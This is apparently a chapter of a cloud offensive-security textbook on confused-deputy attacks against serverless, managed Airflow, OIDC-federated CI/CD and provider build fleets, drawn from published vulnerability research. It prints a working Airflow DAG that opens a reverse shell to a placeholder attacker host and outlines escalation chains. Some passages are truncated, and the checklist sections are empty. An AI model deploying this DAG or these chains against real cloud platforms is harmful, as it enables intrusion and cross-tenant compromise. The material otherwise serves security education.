Serverless, Low-Code & CI/CD Pipelines

After this chapter you will be able to abuse the privileged service identities and automated runners behind serverless, low-code, and CI/CD platforms — confusing the provider's own automation to cross account boundaries and reach its build infrastructure.

The problem

Every chapter so far attacked something the tenant runs — an instance (Ch 4), a container (Ch 6), a database (Ch 8). Chapter 9 is different. A serverless function, a managed Airflow cluster, a CI build — none of these are owned the way a VM is owned. You did not provision the host, you cannot SSH to it, you often cannot even see it. The provider operates the execution environment; you merely hand it code and a job to do.

That arrangement only works because the provider gives the automation a privileged identity: a function carries a role, a pipeline carries credentials, a build carries a token. The automation is a stand-in — a deputy — acting with real authority on the requestor's behalf. The recurring bug, across every service in this chapter, is that the check deciding whose behalf is weaker than the privilege the deputy carries. Confuse that check and the deputy will cross an account boundary, hand over another tenant's data, or run your code inside the provider's own build fleet — and the logs will record the deputy doing it, not you.

Why it matters — and how it differs from a traditional pentest

A traditional application pentest attacks the thing in front of you: you find the SSRF, the injection, the broken access control, and you exploit it directly. Attacking automation inverts that. You rarely touch the valuable target at all. You feed a small, low-privilege input — a DAG file, a pull request, a GraphQL data-source request, a published package — into a deputy, and the deputy carries your intent across a boundary you could never cross yourself.

Three things make this a provider-side surface rather than a tenant one:

• It lives in the control plane. A confused function does not read a file — it calls cloud APIs: sts:AssumeRole, dynamodb:Scan, ARM role assignments. It mutates infrastructure, not documents.
• The blast radius is shared. The deputy is often a multi-tenant service, a shared parent domain, or the provider's own build fleet. Confuse it once and the impact is every downstream tenant — the bridge to Chapter 11.
• The attack is logged as the deputy. CloudTrail records invokedBy: appsync.amazonaws.com, not your account. A confused-deputy attack is invisible precisely because it succeeded — a service the victim trusts did exactly what the victim configured it to do.

Run this surface through the six-part lens from Chapter 1 and the identity-propagation facet dominates: where identity is attached (a managed identity on a sandbox, a service account on an Airflow worker, an OIDC token minted by a CI vendor) and where it is trusted without re-checking (a trust policy that says Service: appsync.amazonaws.com, a federation policy that says repo:my_org/*). Provider "magic" — "just give it a role and it works" — is unreviewed trust by another name.

The methods at a glance

Four techniques recur across serverless, low-code, and CI/CD. Each is one way to confuse a deputy; the rest of the chapter breaks them down one by one.

Technique 1 · Confused-deputy service identities

Chapter 3 taught you what a managed identity and a service account are: an identity the cloud attaches to a workload so it can call APIs without a hard-coded key. This technique needs one more variant — and it is the variant that breaks everything.

The defensive countermeasure has a name worth knowing now: AWS lets you add a Condition — aws:SourceAccount or aws:SourceArn — that pins the deputy to your account or resource. GCP's equivalent is a Workload Identity Pool attribute condition; Azure's is the scoping on a federated credential. These conditions are optional and routinely omitted, so when the service's own internal account check fails, nothing is left.

How it works — the AppSync confused deputy

AWS AppSync is a managed GraphQL service. One feature lets a GraphQL API "invoke AWS APIs" directly through an HTTP data source: the developer attaches an IAM role, AppSync assumes it, and runs the call. The role's trust policy is the textbook service-principal delegation:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Service": "appsync.amazonaws.com" },
    "Action": "sts:AssumeRole"
  }]
}

AWS did anticipate cross-account abuse: CreateDataSource validated that the supplied serviceRoleArn belonged to the caller's own account. But the API parsed JSON property names case-insensitively. Datadog's researchers found that supplying the role ARN under a mixed-case key — servicerolearn instead of serviceRoleArn — slipped past the same-account validation (which looked for the exact key) while the value was still bound downstream where AppSync assumed it. Two parsers, one strict and one loose, disagreeing about the same field: a smuggle.^[1]#074

The detection twist is worth internalising, because it recurs through Chapter 12. The victim sees no attacker account ID and no attacker IP — only AppSync, doing AppSync things. The only signals that betray it are second-order: a burst of AccessDenied events sourced from appsync.amazonaws.com (the attacker brute-forcing unknown permissions on a found role ARN), or an anomalous first-ever call by a role.

The same disease shows up in low-code platforms, which tend to store a delegated credential so a non-technical user need not re-authenticate. A vulnerability in the first-party Microsoft application Dynamics 365 Supply Chain Visibility — pre-consented in every Entra tenant — let a malicious reply URL grant an attacker directory-read access with no consent prompt, or full tenant takeover if a Global Admin clicked it.^[2]#263 The pre-trusted app is a deputy whose trust the tenant cannot withdraw, and a redirect flaw in it is a one-click tenant-takeover primitive.

Technique 2 · Managed workflow runners

The AppSync deputy was thin — a service that makes one API call. A workflow runner is a deputy that runs your orchestration code, which means it is a whole compute environment with a privileged identity.

How it works — code import as RCE on managed Kubernetes

Three facts make a workflow runner dangerous. It runs arbitrary tenant code. It holds a privileged identity. And it is usually deployed on managed Kubernetes you cannot see or configure — so the moment you have code execution in a runner pod, every container-escape and node-identity primitive from Chapter 6 is back in play. What is new here is only how you got the pod.

Unit 42's "Dirty DAG" research walks the whole chain against Azure Data Factory's Managed Airflow — an Azure-operated AKS cluster that imports DAG files automatically from a linked Git repo or Storage account. Craft a DAG whose top-level code opens a reverse shell:

from airflow import DAG
from airflow.operators.bash import BashOperator
from datetime import datetime

with DAG("reporting_etl", start_date=datetime(2023,1,1),
         schedule_interval="@once", catchup=True) as dag:
    BashOperator(task_id="prep",
        bash_command="bash -i >& /dev/tcp/ATTACKER/443 0>&1")

Deliver it via write access to the DAG Storage account (a leaked SAS token, the Chapter 7/8 currency) or the linked Git repo, and it runs automatically on import.^[3]#110 From there the chain is pure recall: the worker pod's mounted service-account token had cluster-admin by a non-configurable default, so it escalates pod → node (a VM Scale Set instance) → IMDS and WireServer (168.63.129.16) — the same primitives from Chapters 4 and 6. The endpoint was Microsoft's internal Geneva telemetry fabric, reached with a certificate reused across every ADF Airflow deployment.

The runner's web panel is a surface too. Tenable's FlowFixation research took over Amazon MWAA by combining a session-fixation flaw (MWAA did not rotate the session cookie on login) with a structural one: MWAA panels, API Gateway, SageMaker and S3 all sit under the same parent domain amazonaws.com, which is not on the Public Suffix List — so a cookie scoped to .amazonaws.com is "same-site" to every AWS service subdomain, enabling cross-subdomain cookie-tossing. It is the same root cause as Chapter 5's shared front-ends.^[4]#264 And recall SynLapse from Chapter 8 (corpus #062): the Synapse Integration Runtime is itself a managed workflow runtime, and the long-lived, broadly-scoped IR management certificate that turned a tenant compromise cross-tenant is the very same anti-pattern as Dirty DAG's reused Geneva cert.

Technique 3 · OIDC trust in CI/CD

CI/CD pipelines need to authenticate to the cloud to deploy. The old way was a long-lived access key in a secret store. The modern way is OIDC federation: the pipeline presents a short-lived signed token, the cloud exchanges it for temporary credentials. You met the mechanism in Chapter 3 — sts:AssumeRoleWithWebIdentity and GitHub Actions' "any-repo" trust policy. Here it acquires a CI-specific twist that changes everything.

How it works — PPE plus a wildcard federation policy

The cloud-side rule that inspects OIDC claims — an AWS IAM role-trust Condition, a GCP Workload Identity Pool attribute condition, an Entra federated credential — is the identity federation policy. Its misconfiguration taxonomy is short and deadly: no claim condition at all; an always-true assertion (checking that sub starts with repo, when every token from that issuer inherently does); a wildcard subject (repo:my_org/*); or accepting any aud. The simplest failure — corpus #153, your Chapter 3 warm-up — omitted the sub/repo condition entirely, letting any GitHub repository on Earth assume the role.

Unit 42's "Oh-My-DC" research composes that into something subtler. Picture two repositories in one organisation:

A low-value repo's script-injection bug just became production cloud access, and Repo B's perfectly secure pipeline was never touched.^[5]#124 Unit 42 found this exact loose-policy pattern in the wild against CircleCI's federation. PPE against a provider's own pipeline is not hypothetical either: corpus #269 documents multiple "pwn request" vulnerabilities in Google Cloud Data Fusion, whose GitHub Actions workflows checked out untrusted PR code with privileged context.^[6]#269

Technique 4 · The provider's own build fleet as supply chain

The first three techniques escalated within the cloud — confuse a deputy, cross an account boundary, reach a tenant's data. This one escalates somewhere else: into the provider's own software supply chain. The provider, like everyone, builds software with a CI fleet — and that fleet is a shared component with the largest blast radius in the book. Compromise it once and you ship malicious code to every downstream tenant: a poisoned SDK, a poisoned base image, a poisoned managed-service component.

To attack a build fleet you must first picture how one works. Each Google Cloud Build job runs on a dedicated VM with empty OAuth scopes — the VM is the security boundary. The elegant, dangerous mechanism is the fake metadata server: the control plane mints a token for the build's real service account and POSTs it to a fake metadata container that build steps share a network namespace with, so tenant code asking the standard metadata.google.internal endpoint transparently gets the per-build token. It is a spoofed IMDS the provider runs on purpose (recall Chapter 4, where a spoofed metadata endpoint was the attacker's goal). And the build identity itself is often over-privileged: that same Cloud Build analysis shows the per-build token SetToken delivers carries the broad default Cloud Build service account, so anyone able to run a build inherits a project-wide identity — escalation Google long treated as working as intended.^[7]#212

How it works — poisoning the build from the public index

Tenable's CloudImposer research found GCP's managed Airflow, Cloud Composer, was vulnerable to dependency confusion when compiled from source. The root cause was the documentation: Google's own docs recommended installing private Python packages with pip install --extra-index-url, which opens pip to public PyPI and the highest-version-wins rule.

Tenable titled the writeup "Executing code on millions of Google servers with a single malicious package."^[8]#270 The vulnerability was partly the advice, not just the code.

How it works — confusing the webhook gate (CodeBreach)

AWS builds its own GitHub repositories — including aws/aws-sdk-js-v3, the JavaScript SDK — with AWS CodeBuild, which holds GitHub credentials in the build environment's memory. To stop untrusted pull requests triggering a privileged build, CodeBuild offers webhook filters; the go-to is the ACTOR_ID filter, an allow-list of trusted GitHub numeric user IDs. The whole vulnerability is two missing characters: the filter is a regex, the IDs joined with |, and the patterns were not anchored with ^...$. An unanchored regex matches any string that contains the pattern:

filter (unanchored):  123456|234567|345678
trusted maintainer ID:        234567
attacker's new ID:           1234567   ← contains "234567" → MATCH

The blast radius is the chapter's crescendo: roughly 66% of cloud environments carry the JS SDK, and the AWS Console itself bundles it. The same unanchored-regex flaw existed in at least three other AWS repos. AWS anchored the regexes within 48 hours of the August 2025 report and added a "PR Comment Approval" build gate.^[9]#089

CodeBreach is not the first of its kind. Hell's Keychain (corpus #076, met in passing in Chapter 6) chained three scattered plaintext secrets out of a PostgreSQL escape, plus an over-permissive network path from production back to the build environment, to reach IBM Cloud's central image-build pipeline — and the ability to push malicious container images into customers' databases.^[10]#076 CodeBreach, CloudImposer, Hell's Keychain: three providers, three build fleets, one lesson. The fleet that builds the cloud is part of the cloud's attack surface — and Chapter 11 revisits all three as canonical "blast radius equals every tenant" vulnerabilities.

Attacker's checklist

Defender's mirror